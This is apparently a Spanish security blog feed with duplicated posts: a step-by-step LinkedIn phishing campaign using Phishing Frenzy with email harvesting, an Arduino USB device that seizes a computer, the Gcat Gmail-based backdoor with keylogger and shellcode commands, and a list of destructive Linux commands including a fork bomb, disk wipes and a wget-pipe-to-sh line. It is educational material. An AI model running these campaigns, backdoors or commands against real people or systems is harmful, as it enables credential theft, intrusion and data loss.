Aman Hardikar recopila en su web un interesante recopilatorio de aplicaciones y sistemas vulnerables para practicar. No os perdáis tampoco su mindmap. Bon Appétit!
↧
Recopilatorio de aplicaciones y sistemas vulnerables para practicar
↧
Cómo hacer una campaña de phishing paso a paso con Phishing Frenzy
Phishing Frenzy es una aplicación de código abierto en Ruby on Rails que pueden adoptar los pentesters para gestionar campañas correo de electrónico de phishing. El proyecto lo inició en 2013 Brandon "zeknox" McCann para hacer más eficiente el proceso haciendo las campañas de phishing lo más realistas posibles a través de su gestión, reutilización de plantillas, generación de estadísticas y otras características.
Vamos a hacer una campaña de ejemplo para que os hagáis una idea del uso de la herramienta y de sus posibilidades. Para ello, vamos a idear un phishing falsificando la página de login de LinkedIn, recopilando las direcciones de correo de una empresa y enviando como gancho un mensaje con un enlace a una supuesta oferta de empleo.
Empezaremos instalando Phishing Frenzy en una máquina virtual Kali Linux pero, en lugar de invertir más de una hora en instalar paso a paso lo necesario, vamos a aprovechar Docker para bajarnos directamente el contenedor y empezar a usarlo en tan sólo unos minutos.
Para ello nos traemos e instalamos directamente el repositorio:
Confirmamos que la imagen se ha instalado correctamente:
Y ejecutamos:
Si eres de los que te gusta trastear, puedes comprobar el funcionamiento del repositorio en Docker con:
E incluso abrir un shell dentro del contenedor para revisar la configuración:
Como veis el virtual host de Apache tiene como ServerName phishingfrenzy.local así que añadimos la entrada en nuestro fichero host local con la IP de la máquina virtual y abrimos la aplicación web con el navegador. Las credenciales por defecto son:
username: admin
password: Funt1me!
Lo primero que haremos es importar la plantilla de LinkedIn desde un repositorio en Github destinado a que la comunidad vaya subiendo y compartiendo más templates que sean útiles en distintos escenarios.
Para importar plantillas tenemos que ir a Templates y pulsar el botón Restore. Luego busca el archivo Zip e importa el template.
Una vez importada, la plantilla estará disponible y lista para ser asignada para todas las futuras campañas de phishing.
Si quieres subir tu propio template tendrás que respetar la siguiente estructura de directorios:
La carpeta 'archive' contendrá el archivo comprimido que se exportó desde el UI de Phishing Frenzy.
La carpeta 'email' contendrá el correo electrónico que se utiliza para para la plantilla de phishing.
La carpeta 'images' contiene imágenes frescas para que quede bonita la plantilla ;)
La carpeta www es la de los archivos que se utilizan para el sitio web de phishing. Esta puede incluir cualquier fichero necesario para ejecutar el sitio web (todos los css, js u otros archivos).
Pero volvamos a nuestra campaña. Ahora que tenemos preparada la plantilla vamos a empezar a recopilar las cuentas de correo de nuestras futuras víctimas. Antes de empezar con la enumeración tendremos que añadir una clave de búsqueda de Bing (Bing Search API). Activamos una suscripción y copiamos la clave de cuenta principal.
Vamos a 'Admin', 'Global Settings' y la añadimos:
Después vamos a 'Resources', 'Email Enumeration'. Indicamos el dominio a analizar y seleccionamos el número de enlaces a seguir:
Como resultado se nos mostrarán las cuentas obtenidas:
Si los resultados del harvester no nos parecen suficientes podemos complementar la búsqueda con otras herramientas. Por ejemplo con Metaploit:
o con TheHarvester:
A continuación creamos nuestra campaña de prueba:
Seleccionamos el template de LinkedIn y configuramos SMTP, que en mi caso es GMail (precarga las opciones):
Personalizamos un poco el email que será enviado a nuestras víctimas:
Seleccionamos los objetivos de la campaña. Podemos importar numerosos contactos directamente copiando de un csv y pegando las cuentas en el UI con este formato:
^*Los argumentos 'firstname' y 'lastname' son opcionales.
Y finalmente lanzamos la campaña ('launch'):
Si todo ha ido bien las víctimas deberían recibir un mail como este:
Y, si pinchan en el botón 'Confirm you know Sarah Rodriguez' del ejemplo, serán redireccionados a la URL que hayamos puesto con la página falsa de login:
Ahora sólo hay que sentarse con la caña y esperar a que piquen...
Y ésto es lo que sería la instalación básica e iniciación de una campaña de phishing. Por supuesto en un escenario real habría que trabajar algo más antes. Podríamos clonar un sitio web, anonimizar todos los nodos, activar SSL, inyectar javascript mediante los hooks de BeEf integrado e incluso obtener una shell mediante un ataque HTA Powershell.
"Dale a un hombre un pescado y lo alimentarás por un día. Enséñale cómo pescar y lo alimentarás durante una vida".
Vamos a hacer una campaña de ejemplo para que os hagáis una idea del uso de la herramienta y de sus posibilidades. Para ello, vamos a idear un phishing falsificando la página de login de LinkedIn, recopilando las direcciones de correo de una empresa y enviando como gancho un mensaje con un enlace a una supuesta oferta de empleo.
Empezaremos instalando Phishing Frenzy en una máquina virtual Kali Linux pero, en lugar de invertir más de una hora en instalar paso a paso lo necesario, vamos a aprovechar Docker para bajarnos directamente el contenedor y empezar a usarlo en tan sólo unos minutos.
Para ello nos traemos e instalamos directamente el repositorio:
vmotos@kali:~$ sudo docker pull b00stfr3ak/ubuntu-phishingfrenzy
Confirmamos que la imagen se ha instalado correctamente:
vmotos@kali:~$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
b00stfr3ak/ubuntu-phishingfrenzy latest 3863078923b4 3 months ago 1.24 GB
Y ejecutamos:
vmotos@kali:~$ sudo docker run -d -p 80:80 b00stfr3ak/ubuntu-phishingfrenzy
c8c31f9e4979ab6e272cc816ad021da2f88d8ce3095c98403001a02529b03fd8 3863078923b4 3 months ago 1.24 GB
Si eres de los que te gusta trastear, puedes comprobar el funcionamiento del repositorio en Docker con:
root@kali:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c8c31f9e4979 b00stfr3ak/ubuntu-phishingfrenzy "/bin/sh -c /startup 8 minutes ago Up 48 minutes 0.0.0.0:80->80/tcp tender_torvalds
E incluso abrir un shell dentro del contenedor para revisar la configuración:
root@kali:~# docker exec -t -i c8c31f9e4979 /bin/bash
root@c8c31f9e4979:/# vi /etc/apache2/apache2.conf
....
# Phishing Freezy
Include pf.conf
...
root@c8c31f9e4979:/# vi /etc/apache2/pf.conf
VirtualHost *:80>
ServerName phishingfrenzy.local
# !!! Be sure to point DocumentRoot to 'public'!
DocumentRoot /var/www/phishing-frenzy/public
RailsEnv development
# This relaxes Apache security settings.
AllowOverride all
# MultiViews must be turned off.
Options -MultiViews
Como veis el virtual host de Apache tiene como ServerName phishingfrenzy.local así que añadimos la entrada en nuestro fichero host local con la IP de la máquina virtual y abrimos la aplicación web con el navegador. Las credenciales por defecto son:
username: admin
password: Funt1me!
Lo primero que haremos es importar la plantilla de LinkedIn desde un repositorio en Github destinado a que la comunidad vaya subiendo y compartiendo más templates que sean útiles en distintos escenarios.
Para importar plantillas tenemos que ir a Templates y pulsar el botón Restore. Luego busca el archivo Zip e importa el template.
Una vez importada, la plantilla estará disponible y lista para ser asignada para todas las futuras campañas de phishing.
Si quieres subir tu propio template tendrás que respetar la siguiente estructura de directorios:
root
|--archive
| |-- templateName.zip
|
|--email
| |-- email.html.erb
|
|--images
| |-- email.jpg
| |-- website.jpg
|
|--www
| |-- index.php
| |-- failed.php
|
|--README.txt
La carpeta 'archive' contendrá el archivo comprimido que se exportó desde el UI de Phishing Frenzy.
La carpeta 'email' contendrá el correo electrónico que se utiliza para para la plantilla de phishing.
La carpeta 'images' contiene imágenes frescas para que quede bonita la plantilla ;)
La carpeta www es la de los archivos que se utilizan para el sitio web de phishing. Esta puede incluir cualquier fichero necesario para ejecutar el sitio web (todos los css, js u otros archivos).
Pero volvamos a nuestra campaña. Ahora que tenemos preparada la plantilla vamos a empezar a recopilar las cuentas de correo de nuestras futuras víctimas. Antes de empezar con la enumeración tendremos que añadir una clave de búsqueda de Bing (Bing Search API). Activamos una suscripción y copiamos la clave de cuenta principal.
Vamos a 'Admin', 'Global Settings' y la añadimos:
Después vamos a 'Resources', 'Email Enumeration'. Indicamos el dominio a analizar y seleccionamos el número de enlaces a seguir:
Como resultado se nos mostrarán las cuentas obtenidas:
Si los resultados del harvester no nos parecen suficientes podemos complementar la búsqueda con otras herramientas. Por ejemplo con Metaploit:
msf > use auxiliary/gather/search_email_collector
msf auxiliary(search_email_collector) > set DOMAIN dominio.com
DOMAIN => dominio.com
msf auxiliary(search_email_collector) > run
[*] Harvesting emails .....
[*] Searching Google for email addresses from dominio.com
[*] Extracting emails from Google search results...
[*] Searching Bing email addresses from dominio.com
[*] Extracting emails from Bing search results...
[*] Searching Yahoo for email addresses from dominio.com
[*] Extracting emails from Yahoo search results...
[*] Located 170 email addresses for dominio.com
[*] 19ee5962-8ff6-416d-83fa-b0ba137c62e7@dominio com
o con TheHarvester:
root@kali:~# theharvester -d dominio.com -l 50 -b bing -f /tmp/resultado.html
A continuación creamos nuestra campaña de prueba:
Seleccionamos el template de LinkedIn y configuramos SMTP, que en mi caso es GMail (precarga las opciones):
Personalizamos un poco el email que será enviado a nuestras víctimas:
Seleccionamos los objetivos de la campaña. Podemos importar numerosos contactos directamente copiando de un csv y pegando las cuentas en el UI con este formato:
firstname0, lastname0, email0@domain.net
firstname1, lastname1, email1@domain.net
firstname2, lastname2, email2@domain.net
firstname3, lastname3, email3@domain.net
firstname4, lastname4, email4@domain.net
^*Los argumentos 'firstname' y 'lastname' son opcionales.
Y finalmente lanzamos la campaña ('launch'):
Si todo ha ido bien las víctimas deberían recibir un mail como este:
Y, si pinchan en el botón 'Confirm you know Sarah Rodriguez' del ejemplo, serán redireccionados a la URL que hayamos puesto con la página falsa de login:
Ahora sólo hay que sentarse con la caña y esperar a que piquen...
Y ésto es lo que sería la instalación básica e iniciación de una campaña de phishing. Por supuesto en un escenario real habría que trabajar algo más antes. Podríamos clonar un sitio web, anonimizar todos los nodos, activar SSL, inyectar javascript mediante los hooks de BeEf integrado e incluso obtener una shell mediante un ataque HTA Powershell.
"Dale a un hombre un pescado y lo alimentarás por un día. Enséñale cómo pescar y lo alimentarás durante una vida".
570 aC-490 aC - Lao Tsé
↧
↧
El pendrive de la muerte
He creado un dispositivo, basado en Arduino Micro, que hace totalmente imposible el control de un ordenador al que se conecta mediante USB. Al conectarse, crea un teclado y un ratón virtual a través del puerto usb. Luego, envía caracteres aleatorios por el teclado seguidamente de un Intro después de cada uno, mueve el ratón en direcciones aleatorias girando también la rueda del ratón y por último da un click con el botón derecho, izquierdo o el del medio (la rueda) (aleatoriamente también) después de cada movimiento del ratón.
He probado su potencia en VirtualBox: se empiezan a abrir ventanas de todo tipo tan rápido que no le da tiempo a mostrar una antes de que salgan unas cuantas más. También se abren archivos con el bloc de notas y, claro, se les mete un montón de m*ier*a con el teclado virtual. Después de un rato, en la pantalla ya se para el festival viendose ventanas a trozos. Entonces decido desconectar el dispositivo. Bueno, ya lo veréis en el video que grabé.
Este dispositivo, si se hace con Arduino Micro, es relativamente fácil de encapsularlo en una carcasa de un pendrive y soldarle un conector usb de tipo A macho....
Así que ya sabes, si alguien te presta un pendrive y no es un pendrive normal...
Bueno, para que no sea tan incontrolable, le he puesto unos pines de configuración que, si pones un puente entre el pin 2 y tierra debes enviar un "10" por el puerto serie para que empiece; y si lo pones entre el 2 y el 3 hay simplemente cuenta atras de 60 segundos.
El código está distribuido bajo licencia GPL v3 y yo NO ME HAGO RESPONSABLE DE TODAS LAS MALDADES QUE HAGAIS CON ESTO.
Repositorio github del código: https://github.com/Aztemat/DoS-over-Mouse-Keyboard/
pd. El código es solo compatible con placas arduino que tienen el puerto USB nativo, que si no recuerdo mal son: Arduino Leonardo, Micro, Due y alguna más.
Saludos de Aztemat
He probado su potencia en VirtualBox: se empiezan a abrir ventanas de todo tipo tan rápido que no le da tiempo a mostrar una antes de que salgan unas cuantas más. También se abren archivos con el bloc de notas y, claro, se les mete un montón de m*ier*a con el teclado virtual. Después de un rato, en la pantalla ya se para el festival viendose ventanas a trozos. Entonces decido desconectar el dispositivo. Bueno, ya lo veréis en el video que grabé.
Url del video: https://www.youtube.com/watch?v=BbUUsMe8PaA
Este dispositivo, si se hace con Arduino Micro, es relativamente fácil de encapsularlo en una carcasa de un pendrive y soldarle un conector usb de tipo A macho....
Así que ya sabes, si alguien te presta un pendrive y no es un pendrive normal...
Bueno, para que no sea tan incontrolable, le he puesto unos pines de configuración que, si pones un puente entre el pin 2 y tierra debes enviar un "10" por el puerto serie para que empiece; y si lo pones entre el 2 y el 3 hay simplemente cuenta atras de 60 segundos.
El código está distribuido bajo licencia GPL v3 y yo NO ME HAGO RESPONSABLE DE TODAS LAS MALDADES QUE HAGAIS CON ESTO.
Repositorio github del código: https://github.com/Aztemat/DoS-over-Mouse-Keyboard/
pd. El código es solo compatible con placas arduino que tienen el puerto USB nativo, que si no recuerdo mal son: Arduino Leonardo, Micro, Due y alguna más.
Saludos de Aztemat
↧
Cómo transformar tu smartphone en una pantalla holográfica
Recientemente se ha armado cierto revuelo en torno a Holus, un proyecto de crowdfunding para desarrollar una pantalla de sobremesa que muestra hologramas. No obstante, la mayoría de los hologramas actuales son un efecto más que una tecnología. Todo el mundo sabe lo que son o deberían ser los hologramas - en gran parte gracias a la ciencia ficción de Hollywood - pero todavía estamos muy lejos de conseguirlo.
La ventaja de esa decepción, sin embargo, es que es totalmente posible hacer una visualización 3D decente 'holográfica' con un teléfono inteligente.
Como detalla el usuario de YouTube Mrwhosetheboss, el proceso es sencillo y no requiere nada más de un teléfono, una caja de CD vieja y un cuchillo afilado. Para hacerlo es necesario cortar cuatro formas trapezoidales de plástico - 6 cm de ancho en la parte inferior y 1 cm de ancho en la parte superior - que se peguen entre sí y colocarlos sobre la pantalla del teléfono mientras se reproduce un vídeo preparado para el propósito.
El resultado parece ser muy impresionante, creando lo que parece ser una forma 3D en el centro del 'display'.
En realidad es esencialmente un truco de fiesta (una vez que has visto una mariposa flotante ya las has visto todas), pero es muy interesante como algo nuevo que hacer con el móvil a coste cero y en sólo diez minutos.
Por supuesto, además de estas (aunque muy pequeñas) versiones táctiles, existen otros tipos más impresionantes de hologramas. Por ejemplo, Microsoft Hololens es otro intento de crear objetos aparentemente tangibles en el aire mediante una gafas auriculares. Pero hasta que esas tecnologías estén disponibles para el público, esto podría ser la mejor (y más barata) alternativa.
Fuente: How to turn your phone into a holographic display, for free
La ventaja de esa decepción, sin embargo, es que es totalmente posible hacer una visualización 3D decente 'holográfica' con un teléfono inteligente.
Como detalla el usuario de YouTube Mrwhosetheboss, el proceso es sencillo y no requiere nada más de un teléfono, una caja de CD vieja y un cuchillo afilado. Para hacerlo es necesario cortar cuatro formas trapezoidales de plástico - 6 cm de ancho en la parte inferior y 1 cm de ancho en la parte superior - que se peguen entre sí y colocarlos sobre la pantalla del teléfono mientras se reproduce un vídeo preparado para el propósito.
El resultado parece ser muy impresionante, creando lo que parece ser una forma 3D en el centro del 'display'.
En realidad es esencialmente un truco de fiesta (una vez que has visto una mariposa flotante ya las has visto todas), pero es muy interesante como algo nuevo que hacer con el móvil a coste cero y en sólo diez minutos.
Por supuesto, además de estas (aunque muy pequeñas) versiones táctiles, existen otros tipos más impresionantes de hologramas. Por ejemplo, Microsoft Hololens es otro intento de crear objetos aparentemente tangibles en el aire mediante una gafas auriculares. Pero hasta que esas tecnologías estén disponibles para el público, esto podría ser la mejor (y más barata) alternativa.
Fuente: How to turn your phone into a holographic display, for free
↧
9 comandos peligrosos en Linux
El shell de Linux es muy potente y sólo una simple instrucción podría llevarnos a eliminar sin querer directorios, archivos, el raíz, etc. Linux no suele pedir confirmación sino que ejecuta el comando de inmediato pudiendo causar la pérdida de datos útiles.
Echa un vistazo a los 9 comandos más "peligrosos":
1. bomba fork
:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.
2. mv directorio/dev/null
mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.
3. rm -rf
El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.
4. mkfs
mkfs puede ser un comando peligroso si no conoces su propósito. Cualquier cosa después de mkfs será formateada y reemplazada por un sistema de archivos en blanco: mkfs, mkfs.ext3, mkfs.bfs, mkfs.ext2, mkfs.minix, mkfs.msdos, mkfs.reiserfs, mkfs.vfat, mkfs.cramfs (este último sin necesidad de tener permisos de administración).
5. bomba tar
Se trata de un archivo empaquetado que "explota" en miles o millones de archivos con nombres similares a los archivos existentes en el directorio actual en vez de en un directorio nuevo. La forma de evitarlo sería crear y entrar en un directorio nuevo antes de desempaquetarlo o listar el contenido previamente con -t.
6. dd
El comando dd se utiliza para copiar y convertir particiones del disco duro. Sin embargo, puede llegar a ser perjudicial si se especifica el destino equivocado.
El comando puede ser cualquiera de los siguientes:
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
dd if=/dev/zero of=/dev/had (will zero out the whole primary hard drive)
7. Código shell script
Alguien podría enviarte un enlace para que descarges y ejecutes un shell script. Por ejemplo: wget http://some_malicious_source -O- | sh
8. Código fuente malicioso
Alguien podría facilitarte código fuente para compilarlo. Este código podría parecer un código normal, pero en realidad tratarse de algún código malicioso oculto entre código fuente normal que puede causar daños a tu sistema. Para evitar ser víctima de este tipo de ataque, sólo debes aceptar y compilar el código fuente de fuentes confiables.
9. Bomba de descompresión
Una bomba zip es un archivo que parece ser muy pequeño, de unos pocos KB, pero que cuando se descomprime lo hace en cientos de GB de datos pudiendo llenar tu disco duro para reducir el rendimiento del sistema. Si os acordáis hace tiempo ya hablamos en el blog de ellas.
Fuente: 9 Linux Commands To Be Known To Secure Your Linux From Danger
Echa un vistazo a los 9 comandos más "peligrosos":
1. bomba fork
:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.
2. mv directorio/dev/null
mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.
3. rm -rf
El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.
4. mkfs
mkfs puede ser un comando peligroso si no conoces su propósito. Cualquier cosa después de mkfs será formateada y reemplazada por un sistema de archivos en blanco: mkfs, mkfs.ext3, mkfs.bfs, mkfs.ext2, mkfs.minix, mkfs.msdos, mkfs.reiserfs, mkfs.vfat, mkfs.cramfs (este último sin necesidad de tener permisos de administración).
5. bomba tar
Se trata de un archivo empaquetado que "explota" en miles o millones de archivos con nombres similares a los archivos existentes en el directorio actual en vez de en un directorio nuevo. La forma de evitarlo sería crear y entrar en un directorio nuevo antes de desempaquetarlo o listar el contenido previamente con -t.
6. dd
El comando dd se utiliza para copiar y convertir particiones del disco duro. Sin embargo, puede llegar a ser perjudicial si se especifica el destino equivocado.
El comando puede ser cualquiera de los siguientes:
dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
dd if=/dev/zero of=/dev/had (will zero out the whole primary hard drive)
7. Código shell script
Alguien podría enviarte un enlace para que descarges y ejecutes un shell script. Por ejemplo: wget http://some_malicious_source -O- | sh
8. Código fuente malicioso
Alguien podría facilitarte código fuente para compilarlo. Este código podría parecer un código normal, pero en realidad tratarse de algún código malicioso oculto entre código fuente normal que puede causar daños a tu sistema. Para evitar ser víctima de este tipo de ataque, sólo debes aceptar y compilar el código fuente de fuentes confiables.
9. Bomba de descompresión
Una bomba zip es un archivo que parece ser muy pequeño, de unos pocos KB, pero que cuando se descomprime lo hace en cientos de GB de datos pudiendo llenar tu disco duro para reducir el rendimiento del sistema. Si os acordáis hace tiempo ya hablamos en el blog de ellas.
Fuente: 9 Linux Commands To Be Known To Secure Your Linux From Danger
↧
↧
OneGet y Chocolatey, un "apt-get" para Windows
Una de las novedades de Windows 10 es la inclusión de OneGet, un interfaz de código abierto para sistemas de administración de paquetes con el que podemos:
- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell
Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.
Veamos un ejemplo instalando VLC en Windows 10:
Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/
- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell
Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.
Veamos un ejemplo instalando VLC en Windows 10:
C:\> get-packageprovider -name chocolatey
The provider 'chocolatey v2.8.5.130' is not installed.
chocolatey may be manually downloaded from https://oneget.org/ChocolateyPr30.exe and installed.
Would you like PackageManagement to automatically download and install 'chocolatey'?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y
Name Version
---- -------
Chocolatey 2.8.5.130
C:\> install-package vlc
The provider 'nuget v2.8.5.127' is not installed.
nuget may be manually downloaded from https://oneget.org/nuget-anycpu-2.8.5.127.exe and installed.
Would you like PackageManagement to automatically download and install 'nuget' now?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y
The package(s) come from a package source that is not marked as trusted.
Are you sure you want to install software from 'chocolatey'?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
Name Version Source Summary
---- ------- ------ -------
vlc 2.2.1.20150630 chocolatey VLC Media Player
Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/
↧
BLEKey, un dispositivo para clonar tarjeras RFID por sólo 10$
Si eres informático y trabajas en una oficina seguramente llevarás colgada al cuello, como ganado en el redil, la típica tarjeta de identificación por radio-frecuencia (aka RFID) para acceder a las instalaciones. El problema... o lo divertido según se mire, es que estas tarjetas utilizan Wiegand, un protocolo "de la era del Apollo 11" bastante sencillo y sin seguridad nativa. De hecho, la falta de cifrado hace que sea fácil robar los códigos y otros datos necesarios para clonar las tarjetas de acceso físico.
Ayer en la Black Hat de Las Vegas, Eric Evenchick y Mark Baseggio presentaron BLEKey (de Bluetooth Low Energy), un dispositivo del tamaño de una moneda que se puede instalar en un minuto en un lector de tarjeta de proximidad y que se aprovecha de la debilidad del protocolo Wiegand para romper los controles de acceso físico que, hoy en día, están presentes en el 80 por ciento de las instalaciones. Aquí podéis ver un vídeo de su instalación:
Url del video: https://www.youtube.com/watch?7VVpg6Fh1a4
Durante la charla ambos investigadores hicieron varias demos con tarjetas y lectores HID y repartieron los primeros dispositivos cuyo coste se estima en unos 10$. Tiene un tamaño de 18×30 mm y se basa en BLE, o el modelo de bajo consumo de energía de Bluetooth. Además usa una batería que representa la mayor parte de su volumen, un chip Nordic (muy usado en wearables monitores de actividad), procesador, radio y software, además de otros componentes. Está previsto que muy pronto que publiquen los esquemas de hardware y el código fuente en GitHub. Veremos si puede ser una alternativa real (y sobretodo barata) a Proxmark3 y otros lectores/grabadores...
Fuentes:
- Accuvant researchers will be releasing an open source piece of hardware dubbed BLEkey that can be used to circumvent these RFID card readers.
- BLEKey Device Breaks RFID Physical Access Controls
- This $10 Device Can Clone RFID-equipped Access Cards Easily
- Getting physical: A $10 device to clone RFID access keys on the go
- Accuvant researchers to release open source RFID access tool
Ayer en la Black Hat de Las Vegas, Eric Evenchick y Mark Baseggio presentaron BLEKey (de Bluetooth Low Energy), un dispositivo del tamaño de una moneda que se puede instalar en un minuto en un lector de tarjeta de proximidad y que se aprovecha de la debilidad del protocolo Wiegand para romper los controles de acceso físico que, hoy en día, están presentes en el 80 por ciento de las instalaciones. Aquí podéis ver un vídeo de su instalación:
Url del video: https://www.youtube.com/watch?7VVpg6Fh1a4
Durante la charla ambos investigadores hicieron varias demos con tarjetas y lectores HID y repartieron los primeros dispositivos cuyo coste se estima en unos 10$. Tiene un tamaño de 18×30 mm y se basa en BLE, o el modelo de bajo consumo de energía de Bluetooth. Además usa una batería que representa la mayor parte de su volumen, un chip Nordic (muy usado en wearables monitores de actividad), procesador, radio y software, además de otros componentes. Está previsto que muy pronto que publiquen los esquemas de hardware y el código fuente en GitHub. Veremos si puede ser una alternativa real (y sobretodo barata) a Proxmark3 y otros lectores/grabadores...
Fuentes:
- Accuvant researchers will be releasing an open source piece of hardware dubbed BLEkey that can be used to circumvent these RFID card readers.
- BLEKey Device Breaks RFID Physical Access Controls
- This $10 Device Can Clone RFID-equipped Access Cards Easily
- Getting physical: A $10 device to clone RFID access keys on the go
- Accuvant researchers to release open source RFID access tool
↧
Gcat, un backdoor escrito en Python que utiliza Gmail como C&C
Gcat es un backdoor escrito en Python que utiliza Gmail como servidor de comando y control (C&C). Para hacerlo funcionar primero necesitarás una cuenta de Gmail dedicada (¡no uses la tuya personal!) y activar "permitir aplicaciones menos seguras" en la configuración de la misma.
Luego en el repositorio de GitHub encontrarás dos archivos:
- gcat.py: un script usado para enumerar y listar los comandos disponibles del cliente
- implant.py: el backdoor real a desplegar
En ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña correspondientes. Probablemente también querrás compilar implant.py en un archivo ejecutable utilizando PyInstaller.
Uso:
Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:
La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.
Ahora vamos a mandar un comando a un equipo infectado:
Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
Fuente: https://github.com/byt3bl33d3r/gcat
Luego en el repositorio de GitHub encontrarás dos archivos:
- gcat.py: un script usado para enumerar y listar los comandos disponibles del cliente
- implant.py: el backdoor real a desplegar
En ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña correspondientes. Probablemente también querrás compilar implant.py en un archivo ejecutable utilizando PyInstaller.
Uso:
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.
Ahora vamos a mandar un comando a un equipo infectado:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Fuente: https://github.com/byt3bl33d3r/gcat
↧
Comprobaciones básicas para ver si nuestra VPN es segura
Ya hemos hablado de servicios VPN gratis o de pago para mantener el anonimato y la privacidad. Pero, ¿son realmente seguros estos servicios?, ¿cómo podemos comprobar que realmente nos están protegiendo y no están filtrando datos sobre nuestra identidad?
Lo primero que debemos mirar es que nuestra IP real no se muestre y, por lo tanto, esté a salvo de cualquier seguimiento o tracking. Lo segundo son las fugas de información sobre nuestras consultas DNS. Si nuestro ISP todavía puede ver qué sitios estamos resolviendo/visitando entonces la VPN que usamos no es segura. Digamos que esas dos cosas (IP y DNS), y por supuesto que el tráfico vaya cifrado correctamente, es lo más básico que tenemos que comprobar para verificar que el servicio VPN que estamos usando nos está protegiendo realmente.
Existen algunos servicios online que podemos utilzar para comprobar que nuestra IP y geolocalización difieren de los reales. Por ejemplo: http://whoer.net/extended
Según el resultado del test, una vez conectados a la VPN, la dirección IP está geolocalizada en Rumanía aunque las settings de mi navegador me delatan, ya que el lenguaje que utilizo por defecto sigue siendo el español. Ya vimos que existen muchas formas de identificar a un usuario mediante el navegador e incluso hacer ataques de geo-inferencia viendo el caché, por lo que es recomendable usar un navegador standalone en un contenedor/sandbox y, si es posible, en una máquina virtual dedicada o (por qué no) física. De nada sirve usar un servicio VPN si luego vamos dejando una huella digital tan clara. Por ejemplo, existen proveedores como Cyber Ghost que te facilitan el control de la privacidad mediante unos pocos cambios en el navegador:
